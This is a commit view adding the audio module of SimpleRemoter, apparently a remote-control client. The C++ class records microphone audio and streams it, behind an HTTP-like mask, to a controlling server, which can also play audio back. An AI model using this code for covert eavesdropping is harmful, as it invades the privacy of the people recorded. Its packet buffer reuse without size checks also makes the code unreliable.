Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea
This commit is contained in:
129
client/AudioManager.cpp
Normal file
129
client/AudioManager.cpp
Normal file
@@ -0,0 +1,129 @@
|
||||
// AudioManager.cpp: implementation of the CAudioManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "AudioManager.h"
|
||||
#include "Common.h"
|
||||
#include <Mmsystem.h>
|
||||
#include <IOSTREAM>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
Mprintf("new CAudioManager %p\n", this);
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
m_AudioObject = NULL;
|
||||
|
||||
if (Initialize()==FALSE) {
|
||||
szPacket = NULL;
|
||||
m_hWorkThread = NULL;
|
||||
char buf[128];
|
||||
sprintf_s(buf, "Open audio failed[IP: %s]", m_ClientObject->GetPublicIP().c_str());
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("语音管理", buf);
|
||||
m_ClientObject->Send2Server((char*)&msg, sizeof(msg));
|
||||
return;
|
||||
}
|
||||
|
||||
BYTE bToken = TOKEN_AUDIO_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
|
||||
WaitForDialogOpen(); //等待对话框打开
|
||||
szPacket = NULL;
|
||||
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
|
||||
VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0]) {
|
||||
case COMMAND_NEXT: {
|
||||
if (1 == ulLength)
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
m_AudioObject->PlayBuffer(szBuffer, ulLength);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DWORD CAudioManager::WorkThread(LPVOID lParam) //发送声音到服务端
|
||||
{
|
||||
CAudioManager *This = (CAudioManager *)lParam;
|
||||
while (This->m_bIsWorking && !This->g_bExit) {
|
||||
if(!This->SendRecordBuffer())
|
||||
Sleep(50);
|
||||
}
|
||||
|
||||
Mprintf("CAudioManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL CAudioManager::SendRecordBuffer()
|
||||
{
|
||||
DWORD dwBufferSize = 0;
|
||||
BOOL dwReturn = 0;
|
||||
//这里得到 音频数据
|
||||
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
|
||||
if (szBuffer == NULL)
|
||||
return 0;
|
||||
//分配缓冲区
|
||||
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
|
||||
//加入数据头
|
||||
szPacket[0] = TOKEN_AUDIO_DATA; //向主控端发送该消息
|
||||
//复制缓冲区
|
||||
memcpy(szPacket + 1, szBuffer, dwBufferSize);
|
||||
szPacket[dwBufferSize] = 0;
|
||||
//发送出去
|
||||
if (dwBufferSize > 0) {
|
||||
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
|
||||
}
|
||||
return dwReturn;
|
||||
}
|
||||
|
||||
CAudioManager::~CAudioManager()
|
||||
{
|
||||
m_bIsWorking = FALSE; //设定工作状态为假
|
||||
if (m_hWorkThread)
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束
|
||||
if (m_hWorkThread)
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
|
||||
if (m_AudioObject!=NULL) {
|
||||
delete m_AudioObject;
|
||||
m_AudioObject = NULL;
|
||||
}
|
||||
if (szPacket) {
|
||||
delete [] szPacket;
|
||||
szPacket = NULL;
|
||||
}
|
||||
Mprintf("~CAudioManager %p\n", this);
|
||||
}
|
||||
|
||||
//USB
|
||||
BOOL CAudioManager::Initialize()
|
||||
{
|
||||
if (!waveInGetNumDevs()) //获取波形输入设备的数目 实际就是看看有没有声卡
|
||||
return FALSE;
|
||||
|
||||
// SYS SYS P
|
||||
// 正在使用中.. 防止重复使用
|
||||
if (m_bIsWorking==TRUE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
m_AudioObject = new CAudio; //功能类
|
||||
|
||||
m_bIsWorking = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
Reference in New Issue
Block a user